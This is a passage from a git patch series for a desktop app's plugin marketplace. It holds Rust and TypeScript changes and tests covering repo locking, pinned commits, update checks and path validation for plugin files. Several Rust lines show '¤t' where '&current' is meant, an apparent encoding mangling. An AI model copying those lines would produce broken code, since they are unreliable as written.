a_refresh_of_a_removed_marketplace_leaves_nothing_behind() { + let Some(fx) = GitFixture::new() else { return }; + fx.with_all_kinds(); + let data = tempfile::tempdir().unwrap(); + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + let current = Mutex::new(settings_with(&fx.url())); + let read_current = || current.lock().unwrap().clone(); + + let lock = mgr.repo_lock("m1"); + let guard = lock.lock().await; + let refresh = refresh_marketplace(&mgr, &read_current, "m1"); + tokio::pin!(refresh); + // The refresh starts, then waits for the lock… + assert!( + tokio::time::timeout(std::time::Duration::from_millis(100), &mut refresh) + .await + .is_err() + ); + // …while the marketplace is removed from settings. + current.lock().unwrap().marketplaces.clear(); + drop(guard); + let snap = refresh.await; + + assert!( + snap.fetch_error.as_deref().unwrap_or("").contains("no longer configured"), + "{snap:?}" + ); + assert!(!git::cache_path(data.path(), "m1").exists(), "cache recreated"); + assert_eq!(mgr.snapshot("m1"), None, "snapshot stored"); + } + + #[tokio::test] + async fn removing_a_cache_waits_for_the_marketplaces_lock() { + let Some(fx) = GitFixture::new() else { return }; + fx.with_all_kinds(); + let data = tempfile::tempdir().unwrap(); + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + let settings = settings_with(&fx.url()); + refresh_marketplace(&mgr, &|| settings.clone(), "m1").await; + let cache = git::cache_path(data.path(), "m1"); + assert!(cache.exists()); + + let lock = mgr.repo_lock("m1"); + let guard = lock.lock().await; + let blocked = tokio::time::timeout( + std::time::Duration::from_millis(200), + remove_marketplace_cache(&mgr, "m1"), + ) + .await; + assert!(blocked.is_err(), "removal must wait for an in-flight fetch"); + assert!(cache.exists()); + drop(guard); + + remove_marketplace_cache(&mgr, "m1").await; + assert!(!cache.exists()); + assert_eq!(mgr.snapshot("m1"), None); + } + #[tokio::test] async fn concurrent_refreshes_all_succeed() { let Some(fx) = GitFixture::new() else { return }; @@ -575,10 +703,11 @@ mod tests { let mgr = MarketplaceManager::new(data.path().to_path_buf()); let settings = settings_with(&fx.url()); + let current = || settings.clone(); let (a, b, c) = tokio::join!( - refresh_marketplace(&mgr, &settings, "m1"), - refresh_marketplace(&mgr, &settings, "m1"), - refresh_marketplace(&mgr, &settings, "m1"), + refresh_marketplace(&mgr, ¤t, "m1"), + refresh_marketplace(&mgr, ¤t, "m1"), + refresh_marketplace(&mgr, ¤t, "m1"), ); for snap in [a, b, c] { assert_eq!(snap.fetch_error, None); @@ -594,7 +723,7 @@ mod tests { let settings = settings_with(&fx.url()); { let mgr = MarketplaceManager::new(data.path().to_path_buf()); - refresh_marketplace(&mgr, &settings, "m1").await; + refresh_marketplace(&mgr, &|| settings.clone(), "m1").await; } drop(fx); let mgr = MarketplaceManager::new(data.path().to_path_buf()); @@ -622,7 +751,7 @@ mod tests { ]; let mut project = crate::models::Project::new("p".into(), vec![]); project.marketplace_installs = vec![install(ItemKind::Skill, "example-skill", &c1)]; - refresh_marketplace(&mgr, &settings, "m1").await; + refresh_marketplace(&mgr, &|| settings.clone(), "m1").await; let updates = compute_updates(&mgr, &settings, &[project]); -- 2.52.0 From c87299dda358f7dd800b446e469615ca9d8db9ed Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 13:12:14 -0700 Subject: [PATCH 37/45] Marketplace: cheaper update checks and single-marketplace refreshes (PR review #10) compute_updates reads each marketplace's head once (snapshot_head, no snapshot clone) and opens each cache once, sharing trees across installs through GitTree::at. refresh_marketplaces(Some(id)) re-pins only that marketplace (mk::set_pins with only) and returns only its snapshot, which the frontend merges by id. Co-Authored-By: Claude Opus 5.5 --- .../src/commands/marketplace_commands.rs | 55 +++--- app/src-tauri/src/marketplace/mod.rs | 167 ++++++++++++++++-- app/src-tauri/src/marketplace/tree.rs | 44 ++++- 3 files changed, 220 insertions(+), 46 deletions(-) diff --git a/app/src-tauri/src/commands/marketplace_commands.rs b/app/src-tauri/src/commands/marketplace_commands.rs index 7e0bae0..0f96436 100644 --- a/app/src-tauri/src/commands/marketplace_commands.rs +++ b/app/src-tauri/src/commands/marketplace_commands.rs @@ -568,34 +568,17 @@ async fn snapshot_blocking( .map_err(|e| format!("Reading the marketplace cache failed: {e}")) } -/// Make each cache's pin refs exactly the commits installs reference, so a -/// pinned version can never be garbage-collected away. Each marketplace's -/// pins are set under that marketplace's repo lock only (pre-flight F11, PR -/// review #5): a concurrent fetch writes refs in the same repo. +/// Make each cache's pin refs exactly the commits installs reference (see +/// [`mk::set_pins`]), for every marketplace. pub(crate) async fn refresh_pins(state: &AppState) { + refresh_pins_of(state, None).await; +} + +/// [`refresh_pins`] for every marketplace, or only `only`. +async fn refresh_pins_of(state: &AppState, only: Option<&str>) { let settings = state.settings_store.get(); - let pins = mk::pins_by_marketplace(&settings, &state.projects_store.list()); - let root = state.marketplace.data_root().to_path_buf(); - for m in &settings.marketplaces { - let lock = state.marketplace.repo_lock(&m.id); - let _repo_guard = lock.lock().await; - let repo = git::cache_path(&root, &m.id); - let commits = pins.get(&m.id).cloned().unwrap_or_default(); - let id = m.id.clone(); - let _ = tokio::task::spawn_blocking(move || { - if !repo.exists() { - return; - } - if let Err(e) = git::set_pins(&repo, &commits) { - log::warn!( - "Could not update the pinned commits of marketplace {}: {}", - id, - e - ); - } - }) - .await; - } + let projects = state.projects_store.list(); + mk::set_pins(&state.marketplace, &settings, &projects, only).await; } /// Forget a marketplace's snapshot and delete its cache, under its repo lock. @@ -640,21 +623,25 @@ pub async fn list_marketplace_snapshots( .map_err(|e| format!("Reading the marketplace caches failed: {e}")) } +/// With `marketplace_id`, refreshes (and re-pins) only that marketplace and +/// returns only its snapshot — the frontend merges snapshots by id — or +/// nothing if it was removed meanwhile. Without, refreshes all and returns +/// every snapshot. #[tauri::command] pub async fn refresh_marketplaces( marketplace_id: Option, state: State<'_, AppState>, ) -> Result, String> { - let settings = state.settings_store.get(); + let current = || state.settings_store.get(); if let Some(id) = &marketplace_id { - find_marketplace(&settings, id)?; + find_marketplace(¤t(), id)?; + let snap = mk::refresh_marketplace(&state.marketplace, ¤t, id).await; + refresh_pins_of(&state, Some(id)).await; + let still_configured = find_marketplace(¤t(), id).is_ok(); + return Ok(if still_configured { vec![snap] } else { vec![] }); } - for m in settings - .marketplaces - .iter() - .filter(|m| marketplace_id.as_deref().is_none_or(|id| id == m.id)) - { - mk::refresh_marketplace(&state.marketplace, &|| state.settings_store.get(), &m.id).await; + for m in current().marketplaces { + mk::refresh_marketplace(&state.marketplace, ¤t, &m.id).await; } refresh_pins(&state).await; list_marketplace_snapshots(state).await diff --git a/app/src-tauri/src/marketplace/mod.rs b/app/src-tauri/src/marketplace/mod.rs index 9474bd3..dd47a48 100644 --- a/app/src-tauri/src/marketplace/mod.rs +++ b/app/src-tauri/src/marketplace/mod.rs @@ -94,6 +94,15 @@ impl MarketplaceManager { .clone() } + /// The in-memory snapshot's head, without copying the snapshot's items. + pub fn snapshot_head(&self, marketplace_id: &str) -> Option { + self.snapshots + .lock() + .unwrap() + .get(marketplace_id) + .and_then(|s| s.head_commit.clone()) + } + pub fn snapshot(&self, marketplace_id: &str) -> Option { self.snapshots.lock().unwrap().get(marketplace_id).cloned() } @@ -195,7 +204,7 @@ impl MarketplaceManager { /// Head commit for a marketplace: the in-memory snapshot's, else the cache's. pub fn head_for(mgr: &MarketplaceManager, m: &Marketplace) -> Option { - mgr.snapshot(&m.id).and_then(|s| s.head_commit).or_else(|| { + mgr.snapshot_head(&m.id).or_else(|| { git::cached_head(&git::cache_path(mgr.data_root(), &m.id)) .ok() .flatten() @@ -341,11 +350,42 @@ pub async fn remove_marketplace_cache(mgr: &MarketplaceManager, marketplace_id: .await; } -fn item_changed(repo: &Path, inst: &MarketplaceInstall, head: &str) -> Result { - let old = GitTree::open(repo, &inst.commit)?; - let new = GitTree::open(repo, head)?; - Ok(item_fingerprint(&old, inst.kind, &inst.key)? - != item_fingerprint(&new, inst.kind, &inst.key)?) +/// One marketplace's side of an update check: its head, read once, and its +/// cache, opened once, with trees shared across installs (PR review #10). +struct UpdateCheck { + head: String, + repo: Option, + trees: HashMap>, +} + +impl UpdateCheck { + fn new(mgr: &MarketplaceManager, m: &Marketplace) -> Option { + let head = head_for(mgr, m)?; + Some(Self { + head, + repo: None, + trees: HashMap::new(), + }) + } + + fn tree(&mut self, repo_path: &Path, commit: &str) -> Result<&GitTree, String> { + if !self.trees.contains_key(commit) { + if self.repo.is_none() { + self.repo = Some(tree::open_repo(repo_path)?); + } + let repo = self.repo.clone().expect("opened above"); + self.trees + .insert(commit.to_string(), GitTree::at(repo, commit)); + } + self.trees[commit].as_ref().map_err(Clone::clone) + } + + fn changed(&mut self, repo_path: &Path, inst: &MarketplaceInstall) -> Result { + let head = self.head.clone(); + let new = item_fingerprint(self.tree(repo_path, &head)?, inst.kind, &inst.key)?; + let old = item_fingerprint(self.tree(repo_path, &inst.commit)?, inst.kind, &inst.key)?; + Ok(old != new) + } } /// Every install (global + all projects) whose item fingerprint at head @@ -356,6 +396,7 @@ pub fn compute_updates( projects: &[Project], ) -> Vec { let mut seen = BTreeSet::new(); + let mut checks: HashMap> = HashMap::new(); let mut out = Vec::new(); let all = settings .global_marketplace_installs @@ -372,18 +413,21 @@ pub fn compute_updates( else { continue; }; - let Some(head) = head_for(mgr, m) else { + let Some(check) = checks + .entry(m.id.clone()) + .or_insert_with(|| UpdateCheck::new(mgr, m)) + else { continue; }; - if head == inst.commit { + if check.head == inst.commit { continue; } let repo = git::cache_path(mgr.data_root(), &m.id); - match item_changed(&repo, inst, &head) { + match check.changed(&repo, inst) { Ok(true) => out.push(ItemUpdate { item: inst.item_ref(), pinned: inst.commit.clone(), - head, + head: check.head.clone(), }), Ok(false) => {} Err(e) => log::debug!("Update check skipped for {}: {}", inst.key, e), @@ -479,6 +523,43 @@ pub fn spawn_project_sync( }); } +/// Make each cache's pin refs exactly the commits installs reference, so a +/// pinned version can never be garbage-collected away — for every configured +/// marketplace, or only `only`. Each marketplace's pins are set under its own +/// repo lock (pre-flight F11, PR review #5): a fetch writes refs there too. +pub async fn set_pins( + mgr: &MarketplaceManager, + settings: &AppSettings, + projects: &[Project], + only: Option<&str>, +) { + let pins = pins_by_marketplace(settings, projects); + for m in settings + .marketplaces + .iter() + .filter(|m| only.is_none_or(|id| id == m.id)) + { + let lock = mgr.repo_lock(&m.id); + let _repo_guard = lock.lock().await; + let repo = git::cache_path(mgr.data_root(), &m.id); + let commits = pins.get(&m.id).cloned().unwrap_or_default(); + let id = m.id.clone(); + let _ = tokio::task::spawn_blocking(move || { + if !repo.exists() { + return; + } + if let Err(e) = git::set_pins(&repo, &commits) { + log::warn!( + "Could not update the pinned commits of marketplace {}: {}", + id, + e + ); + } + }) + .await; + } +} + /// All commits referenced by installs, per marketplace (for `git::set_pins`). pub fn pins_by_marketplace( settings: &AppSettings, @@ -761,6 +842,72 @@ mod tests { assert_eq!(updates[0].head, c2); } + /// PR review #10: one repo open and one head read per marketplace, + /// however many installs (and pinned commits) point into it. + #[tokio::test] + async fn update_check_opens_each_repo_once() { + let Some(fx) = GitFixture::new() else { return }; + let c1 = fx.with_all_kinds(); + fx.write( + "agents/code-reviewer.md", + "---\nname: code-reviewer\ndescription: Reviews code\n---\nReview harder.\n", + ); + let c2 = fx.commit("tweak agent"); + let data = tempfile::tempdir().unwrap(); + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + let mut settings = settings_with(&fx.url()); + settings.global_marketplace_installs = vec![ + install(ItemKind::Agent, "code-reviewer", &c1), + install(ItemKind::Hook, "notify-on-stop", &c1), + ]; + let mut a = crate::models::Project::new("a".into(), vec![]); + a.marketplace_installs = vec![install(ItemKind::Skill, "example-skill", &c1)]; + let mut b = crate::models::Project::new("b".into(), vec![]); + b.marketplace_installs = vec![install(ItemKind::Agent, "code-reviewer", &c2)]; + refresh_marketplace(&mgr, &|| settings.clone(), "m1").await; + + let before = tree::repo_opens(); + let updates = compute_updates(&mgr, &settings, &[a, b]); + assert_eq!(tree::repo_opens() - before, 1, "one open for the whole check"); + + assert_eq!(updates.len(), 1, "{updates:?}"); + assert_eq!(updates[0].item.key, "code-reviewer"); + assert_eq!(updates[0].pinned, c1); + assert_eq!(updates[0].head, c2); + } + + /// PR review #10: refreshing one marketplace sets only its pins, and so + /// never waits on another marketplace's lock. + #[tokio::test] + async fn pins_can_be_set_for_one_marketplace_alone() { + let Some(fx) = GitFixture::new() else { return }; + let c1 = fx.with_all_kinds(); + let data = tempfile::tempdir().unwrap(); + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + let mut settings = settings_with(&fx.url()); + let mut m2 = settings.marketplaces[0].clone(); + m2.id = "m2".into(); + settings.marketplaces.push(m2); + settings.global_marketplace_installs = vec![install(ItemKind::Agent, "code-reviewer", &c1)]; + refresh_marketplace(&mgr, &|| settings.clone(), "m1").await; + refresh_marketplace(&mgr, &|| settings.clone(), "m2").await; + + let other = mgr.repo_lock("m2"); + let _busy = other.lock().await; + tokio::time::timeout( + std::time::Duration::from_secs(20), + set_pins(&mgr, &settings, &[], Some("m1")), + ) + .await + .expect("setting m1's pins must not wait for m2"); + + let refs = git::test_support::git( + &git::cache_path(data.path(), "m1"), + &["for-each-ref", "--format=%(refname)", "refs/triple-c/pins"], + ); + assert_eq!(refs, format!("refs/triple-c/pins/{c1}")); + } + #[test] fn pins_are_grouped_and_deduplicated_per_marketplace() { let a = "a".repeat(40); diff --git a/app/src-tauri/src/marketplace/tree.rs b/app/src-tauri/src/marketplace/tree.rs index 37d3ed0..4a11489 100644 --- a/app/src-tauri/src/marketplace/tree.rs +++ b/app/src-tauri/src/marketplace/tree.rs @@ -92,10 +92,32 @@ pub struct GitTree { tree_id: gix::ObjectId, } +#[cfg(test)] +thread_local! { + static REPO_OPENS: std::cell::Cell = const { std::cell::Cell::new(0) }; +} + +/// How many times this thread has opened a cache repo (tests only). +#[cfg(test)] +pub fn repo_opens() -> usize { + REPO_OPENS.with(|c| c.get()) +} + +/// Open a bare cache. Several [`GitTree`]s can share one open repo through +/// [`GitTree::at`] (cloning a `gix::Repository` shares its object store). +pub fn open_repo(repo_path: &std::path::Path) -> Result { + #[cfg(test)] + REPO_OPENS.with(|c| c.set(c.get() + 1)); + gix::open(repo_path).map_err(|e| format!("Could not open the marketplace cache: {}", e)) +} + impl GitTree { pub fn open(repo_path: &std::path::Path, commit: &str) -> Result { - let repo = gix::open(repo_path) - .map_err(|e| format!("Could not open the marketplace cache: {}", e))?; + Self::at(open_repo(repo_path)?, commit) + } + + /// The tree at `commit` of an already open repo. + pub fn at(repo: gix::Repository, commit: &str) -> Result { let oid = gix::ObjectId::from_hex(commit.as_bytes()) .map_err(|e| format!("Invalid commit id {}: {}", commit, e))?; let tree_id = repo @@ -461,6 +483,24 @@ mod tests { assert_eq!(tree.read_file("agents/missing.md", CAP).unwrap(), None); } + #[test] + fn trees_at_several_commits_share_one_open_repo() { + use crate::marketplace::git::test_support::{commit_files, git_available, init_repo}; + if !git_available() { + return; + } + let dir = tempfile::tempdir().unwrap(); + let c1 = init_repo(dir.path(), &[("a.md", "one", false)]); + let c2 = commit_files(dir.path(), &[("a.md", "two", false)], "second"); + let before = repo_opens(); + let repo = open_repo(&dir.path().join(".git")).unwrap(); + let t1 = GitTree::at(repo.clone(), &c1).unwrap(); + let t2 = GitTree::at(repo, &c2).unwrap(); + assert_eq!(repo_opens() - before, 1); + assert_eq!(t1.read_file("a.md", 10).unwrap().unwrap(), b"one"); + assert_eq!(t2.read_file("a.md", 10).unwrap().unwrap(), b"two"); + } + #[test] fn mem_tree_applies_the_same_cap() { let t = MemTree::new().file("a.md", "12345"); -- 2.52.0 From fe15f541b9d19a46750f7cdd1941af2b9fc17383 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 13:13:11 -0700 Subject: [PATCH 38/45] Marketplace: toast a refused account change and refresh after a saved one (PR review #7) changeAccount now catches a rejected updateMarketplace (e.g. an account for another host) and toasts it instead of leaving an unhandled rejection, and refreshes the marketplace after a successful change so the old fetch error is replaced. Co-Authored-By: Claude Opus 5.5 --- .../marketplace/BrowsePane.test.tsx | 43 ++++++++++++++++++- app/src/components/marketplace/BrowsePane.tsx | 21 ++++++++- 2 files changed, 61 insertions(+), 3 deletions(-) diff --git a/app/src/components/marketplace/BrowsePane.test.tsx b/app/src/components/marketplace/BrowsePane.test.tsx index e52ce8f..1287166 100644 --- a/app/src/components/marketplace/BrowsePane.test.tsx +++ b/app/src/components/marketplace/BrowsePane.test.tsx @@ -1,5 +1,5 @@ import { describe, it, expect, vi, beforeEach } from "vitest"; -import { fireEvent, render, screen } from "@testing-library/react"; +import { fireEvent, render, screen, waitFor } from "@testing-library/react"; import { useAppState } from "../../store/appState"; import type { AppSettings, CatalogItem, MarketplaceSnapshot } from "../../lib/types"; import type { MarketplaceApi } from "../../hooks/useMarketplace"; @@ -8,6 +8,10 @@ vi.mock("./InstallControls", () => ({ default: ({ headCommit }: { headCommit: string | null }) =>
    install controls at {headCommit}
    , })); vi.mock("./AddMarketplaceModal", () => ({ default: () =>
    add modal
    })); +const updateMarketplace = vi.fn(); +vi.mock("../../lib/tauri-commands", () => ({ + updateMarketplace: (m: unknown) => updateMarketplace(m), +})); import BrowsePane from "./BrowsePane"; @@ -96,6 +100,43 @@ describe("BrowsePane", () => { expect(screen.getByText("SKILL.md missing")).toBeInTheDocument(); }); + describe("PR review #7: changing a marketplace's account", () => { + const withAccount = () => + useAppState.setState({ + toasts: [], + appSettings: { + marketplaces: [{ id: "m1", name: "Starter", url: "https://github.com/s/m.git", branch: null, account_id: null }], + marketplace_accounts: [{ id: "a1", label: "Work", host: "gitlab.com", method: "token", username: null }], + global_marketplace_installs: [], + } as unknown as AppSettings, + }); + + it("toasts a refused change instead of leaving it unhandled", async () => { + withAccount(); + updateMarketplace.mockRejectedValueOnce("The account \"Work\" is for gitlab.com, but this marketplace is on github.com."); + const mp = api(); + render(); + fireEvent.change(screen.getByLabelText("Account for Starter"), { target: { value: "a1" } }); + await waitFor(() => expect(useAppState.getState().toasts).toHaveLength(1)); + const toast = useAppState.getState().toasts[0]; + expect(toast.kind).toBe("error"); + expect(toast.detail).toContain("is for gitlab.com"); + expect(mp.refresh).not.toHaveBeenCalled(); + }); + + it("refreshes the marketplace after a successful change", async () => { + withAccount(); + updateMarketplace.mockResolvedValueOnce({}); + const mp = api(); + render(); + fireEvent.change(screen.getByLabelText("Account for Starter"), { target: { value: "a1" } }); + await waitFor(() => expect(mp.refresh).toHaveBeenCalledWith("m1")); + expect(updateMarketplace).toHaveBeenCalledWith(expect.objectContaining({ id: "m1", account_id: "a1" })); + expect(mp.reloadState).toHaveBeenCalled(); + expect(useAppState.getState().toasts).toHaveLength(0); + }); + }); + it("refreshes one marketplace", () => { const mp = api(); render(); diff --git a/app/src/components/marketplace/BrowsePane.tsx b/app/src/components/marketplace/BrowsePane.tsx index 3f1edef..9d76f80 100644 --- a/app/src/components/marketplace/BrowsePane.tsx +++ b/app/src/components/marketplace/BrowsePane.tsx @@ -15,6 +15,10 @@ type KindFilter = ItemKind | "all"; const when = (iso: string | null) => (iso ? new Date(iso).toLocaleString() : "never"); +function errorText(e: unknown): string { + return typeof e === "string" ? e : e instanceof Error ? e.message : String(e); +} + export default function BrowsePane({ mp }: { mp: MarketplaceApi }) { const marketplaces = useAppState((s) => s.appSettings?.marketplaces ?? []); const accounts = useAppState((s) => s.appSettings?.marketplace_accounts ?? []); @@ -22,6 +26,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) { const projects = useAppState((s) => s.projects); const filterId = useAppState((s) => s.marketplaceFilterProjectId); const setFilterId = useAppState((s) => s.setMarketplaceFilterProjectId); + const pushToast = useAppState((s) => s.pushToast); const [kind, setKind] = useState("all"); const [query, setQuery] = useState(""); // The item is kept as it was read, with the head it was read at: an @@ -47,9 +52,21 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) { const nameOf = (id: string) => marketplaces.find((m) => m.id === id)?.name ?? id; + /** A refused change (e.g. an account for another host) is toasted; a saved + * one is fetched with the new account so its old fetch error goes away. */ const changeAccount = async (m: Marketplace, accountId: string | null) => { - await updateMarketplace({ ...m, account_id: accountId }); - await mp.reloadState(); + try { + await updateMarketplace({ ...m, account_id: accountId }); + } catch (e) { + pushToast({ kind: "error", message: `Could not change the account for ${m.name}`, detail: errorText(e) }); + return; + } + try { + await mp.reloadState(); + } catch (e) { + console.error("Failed to reload after changing a marketplace account:", e); + } + await mp.refresh(m.id); }; /** Global + every project's installs of this marketplace, for the removal warning. */ -- 2.52.0 From 8ec033f9235e4fceb80aa0efa0e7d09e2ad5eebc Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 13:13:11 -0700 Subject: [PATCH 39/45] Marketplace: match an update to the install pinned at its commit (PR review #8) InstalledPane's updateFor now requires u.pinned === i.commit, so an install of the same item at another (unchanged) commit no longer borrows another install's update and shows a phantom one with an empty diff. Co-Authored-By: Claude Opus 5.5 --- .../marketplace/InstalledPane.test.tsx | 25 +++++++++++++++++++ .../components/marketplace/InstalledPane.tsx | 4 ++- 2 files changed, 28 insertions(+), 1 deletion(-) diff --git a/app/src/components/marketplace/InstalledPane.test.tsx b/app/src/components/marketplace/InstalledPane.test.tsx index 0ed2572..d691462 100644 --- a/app/src/components/marketplace/InstalledPane.test.tsx +++ b/app/src/components/marketplace/InstalledPane.test.tsx @@ -83,6 +83,31 @@ describe("InstalledPane", () => { ); }); + it("PR review #8: an update belongs only to the install pinned at its commit", () => { + const C = "c".repeat(40); + // The same agent is installed globally at A and in p1 at C. Only the A + // install has an update (A → B); C is unchanged at head. + useAppState.setState({ + projects: [ + { + id: "p1", + name: "api", + status: "running", + marketplace_installs: [{ marketplace_id: "m1", kind: "agent", key: "rev", commit: C }], + marketplace_disabled: [], + }, + ] as unknown as Project[], + }); + const mp = api({ + updates: [{ item: { marketplace_id: "m1", kind: "agent", key: "rev" }, pinned: A, head: B }], + }); + render(); + const global = screen.getByTestId("installed-global"); + expect(within(global).getByRole("button", { name: "Review update for rev" })).toBeInTheDocument(); + const proj = screen.getByTestId("installed-project-p1"); + expect(within(proj).queryByRole("button", { name: "Review update for rev" })).not.toBeInTheDocument(); + }); + it("I2: accepts the head that was reviewed even if the update list moves on", async () => { const C = "c".repeat(40); const item = { marketplace_id: "m1", kind: "agent" as const, key: "rev" }; diff --git a/app/src/components/marketplace/InstalledPane.tsx b/app/src/components/marketplace/InstalledPane.tsx index 53f507a..5dd52fc 100644 --- a/app/src/components/marketplace/InstalledPane.tsx +++ b/app/src/components/marketplace/InstalledPane.tsx @@ -32,13 +32,15 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) { const nameOf = (id: string) => marketplaces.find((m) => m.id === id)?.name ?? id; const globalInstalls = appSettings?.global_marketplace_installs ?? []; + /** The update for this very install: same item *and* pinned at the same + * commit (PR review #8) — updates are listed per (item, pinned commit). */ const updateFor = (i: MarketplaceInstall) => mp.updates.find( (u) => u.item.marketplace_id === i.marketplace_id && u.item.kind === i.kind && u.item.key === i.key && - u.head !== i.commit, + u.pinned === i.commit, ); /** Hooks only (spec §3, preflight F8): the rendered commands at head, so the -- 2.52.0 From 973e51f9696a7ee3a28d9f826406e62dbfb51623 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 13:13:48 -0700 Subject: [PATCH 40/45] Marketplace: use is_multiple_of in describe_size (clippy) Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/tree.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/src-tauri/src/marketplace/tree.rs b/app/src-tauri/src/marketplace/tree.rs index 4a11489..d41ce3b 100644 --- a/app/src-tauri/src/marketplace/tree.rs +++ b/app/src-tauri/src/marketplace/tree.rs @@ -53,9 +53,9 @@ pub enum ReadError { pub(crate) fn describe_size(bytes: u64) -> String { const KIB: u64 = 1024; const MIB: u64 = 1024 * 1024; - if bytes >= MIB && bytes % MIB == 0 { + if bytes >= MIB && bytes.is_multiple_of(MIB) { format!("{} MiB", bytes / MIB) - } else if bytes >= KIB && bytes % KIB == 0 { + } else if bytes >= KIB && bytes.is_multiple_of(KIB) { format!("{} KiB", bytes / KIB) } else { format!("{} bytes", bytes) -- 2.52.0 From 3dfdafc9ca2ed8cd121786bf5f199f6542e149e4 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 13:20:12 -0700 Subject: [PATCH 41/45] Marketplace: show path-valued and .lsp.json plugin components whole (PR re-review #4) A plugin's hooks / mcpServers / lspServers given as a path (or list of paths) in its catalog entry or plugin.json is resolved inside the plugin folder and shown as that file's contents; a path escaping the folder or naming a missing file makes the plugin invalid. The root .lsp.json is listed next to hooks/hooks.json and .mcp.json. Components are no longer cut at 64 KiB: they are shown whole up to the 1 MiB manifest cap, and a plugin whose runnable parts cannot be shown whole is refused instead. Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/catalog.rs | 241 ++++++++++++++++++++--- 1 file changed, 211 insertions(+), 30 deletions(-) diff --git a/app/src-tauri/src/marketplace/catalog.rs b/app/src-tauri/src/marketplace/catalog.rs index 1763c07..9c29e31 100644 --- a/app/src-tauri/src/marketplace/catalog.rs +++ b/app/src-tauri/src/marketplace/catalog.rs @@ -648,45 +648,117 @@ fn parse_folders(tree: &dyn TreeView, kind: ItemKind, folder: &str, out: &mut Ve /// Keys of a plugin's catalog entry or `plugin.json` that make Claude Code /// run something or add commands. const PLUGIN_RUNNABLE_KEYS: &[&str] = &["hooks", "mcpServers", "lspServers", "commands"]; +/// Of those, the keys whose value may instead be a path (or a list of paths) +/// to a JSON file inside the plugin, which is then what runs. +const PLUGIN_PATH_KEYS: &[&str] = &["hooks", "mcpServers", "lspServers"]; +/// Files in a plugin's root folder that declare what it runs. +const PLUGIN_RUNNABLE_FILES: &[&str] = &["hooks/hooks.json", ".mcp.json", ".lsp.json"]; -fn runnable_fields(label: &str, json: &serde_json::Value, out: &mut Vec) { - for key in PLUGIN_RUNNABLE_KEYS { - if let Some(value) = json.get(key) { - out.push(PluginComponent { - label: format!("{}: {}", label, key), - content: truncate_preview(&serde_json::to_string_pretty(value).unwrap_or_default()), - }); +/// A path a plugin gives for one of its own files, as a path relative to the +/// plugin root; refused unless it stays inside the plugin folder. +fn plugin_relative_path(value: &str) -> Result { + let outside = || format!("{:?} points outside the plugin folder", value); + if value.starts_with('/') || value.contains('\\') || value.contains(':') { + return Err(outside()); + } + let mut parts = Vec::new(); + for part in value.split('/') { + match part { + "" | "." => {} + ".." => return Err(outside()), + p => parts.push(p), } } + if parts.is_empty() { + return Err(format!("{:?} does not name a file in the plugin", value)); + } + Ok(parts.join("/")) } -/// What a plugin brings that can run (PR review #4): its catalog entry's -/// and `plugin.json`'s hooks / MCP / LSP servers / commands, and the -/// folder's `hooks/hooks.json`, `.mcp.json` and `commands/`. +/// The component, shown whole: a runnable manifest cut short could hide a +/// hook (round 2), so anything over the manifest cap refuses the plugin. +fn whole_component(label: String, content: String) -> Result { + if content.len() as u64 > MAX_MANIFEST_BYTES { + return Err(format!( + "{} is larger than {} and cannot be shown for review", + label, + describe_size(MAX_MANIFEST_BYTES) + )); + } + Ok(PluginComponent { label, content }) +} + +/// A plugin file, whole; missing or oversized files refuse the plugin. +fn plugin_file(tree: &dyn TreeView, root: &str, rel: &str) -> Result, String> { + read_utf8(tree, &format!("{}/{}", root, rel), MAX_MANIFEST_BYTES) + .map_err(|e| e.replacen(&format!("{}/", root), "", 1)) +} + +fn runnable_fields( + tree: &dyn TreeView, + root: &str, + label: &str, + json: &serde_json::Value, + out: &mut Vec, +) -> Result<(), String> { + for key in PLUGIN_RUNNABLE_KEYS { + let Some(value) = json.get(key) else { + continue; + }; + let paths: Option> = match value { + serde_json::Value::String(p) => Some(vec![p.as_str()]), + serde_json::Value::Array(items) if items.iter().all(|v| v.is_string()) => { + Some(items.iter().filter_map(|v| v.as_str()).collect()) + } + _ => None, + }; + match paths { + Some(paths) if PLUGIN_PATH_KEYS.contains(key) => { + for path in paths { + let rel = plugin_relative_path(path) + .map_err(|e| format!("{}: {} {}", label, key, e))?; + let text = plugin_file(tree, root, &rel)?.ok_or_else(|| { + format!( + "{}: {} names {}, which is not in the plugin", + label, key, rel + ) + })?; + out.push(whole_component( + format!("{}: {} → {}", label, key, rel), + text, + )?); + } + } + _ => out.push(whole_component( + format!("{}: {}", label, key), + serde_json::to_string_pretty(value).unwrap_or_default(), + )?), + } + } + Ok(()) +} + +/// What a plugin brings that can run (PR review #4, round 2): its catalog +/// entry's and `plugin.json`'s hooks / MCP / LSP servers / commands — with +/// path-valued ones resolved inside the plugin and shown as the files they +/// name — the folder's `hooks/hooks.json`, `.mcp.json` and `.lsp.json`, and +/// `commands/`. Everything is shown whole; an `Err` makes the plugin +/// invalid, since it could not be reviewed. fn plugin_components( tree: &dyn TreeView, entry: &serde_json::Value, root: &str, -) -> Vec { +) -> Result, String> { let mut out = Vec::new(); - runnable_fields("marketplace.json entry", entry, &mut out); - let manifest = format!("{}/.claude-plugin/plugin.json", root); - if let Ok(Some(text)) = read_utf8(tree, &manifest, MAX_MANIFEST_BYTES) { - if let Ok(json) = serde_json::from_str::(&text) { - runnable_fields(".claude-plugin/plugin.json", &json, &mut out); - } + runnable_fields(tree, root, "marketplace.json entry", entry, &mut out)?; + if let Some(text) = plugin_file(tree, root, ".claude-plugin/plugin.json")? { + let json: serde_json::Value = serde_json::from_str(&text) + .map_err(|e| format!(".claude-plugin/plugin.json is not valid JSON: {}", e))?; + runnable_fields(tree, root, ".claude-plugin/plugin.json", &json, &mut out)?; } - for file in 